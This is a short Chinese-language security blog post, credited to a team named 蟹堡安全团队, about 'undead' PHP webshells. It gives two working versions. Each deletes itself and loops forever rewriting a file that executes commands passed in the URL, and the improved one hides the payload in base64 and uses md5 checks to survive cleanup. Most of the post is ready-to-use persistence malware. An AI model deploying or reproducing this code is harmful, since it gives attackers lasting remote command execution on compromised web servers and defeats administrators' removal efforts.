实验环境工具
phpstudy
传统的PHP不死马就是一根筋的往一处写文件,这样就会造成不管文件有没有被修改或者文件是否存在,都会重新创建一个文件,这样会比较占用服务器资源,所以就可以通过这点来对不死马进行优化。
优化前:
<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) {$content = '<?php @eval($_GET["cmd"]);?>';file_put_contents("index2.php", $content);usleep(10000);}
?>
优化后:
<?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = './shell.php';// <?php @eval($_GET['cmd']);?>$code = base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ2NtZCddKTs/Pg==');while(true) { if (file_exists($file)){if (md5(file_get_contents($file)) === md5($code)){// 如果文件存在,且文件内容没有发生变化,就不进行任何操作}else{// 如果文件存在,但文件内容发生了改变,那么就需要重新写入文件file_put_contents($file, $code);}}else{// 如果文件不存在,那么直接写入文件file_put_contents($file, $code);}usleep(5000);}
?>
注意:这里使用md5加密算法判断文件是否被修改,通过file_exists判断文件是否存在
原创 蟹堡安全团队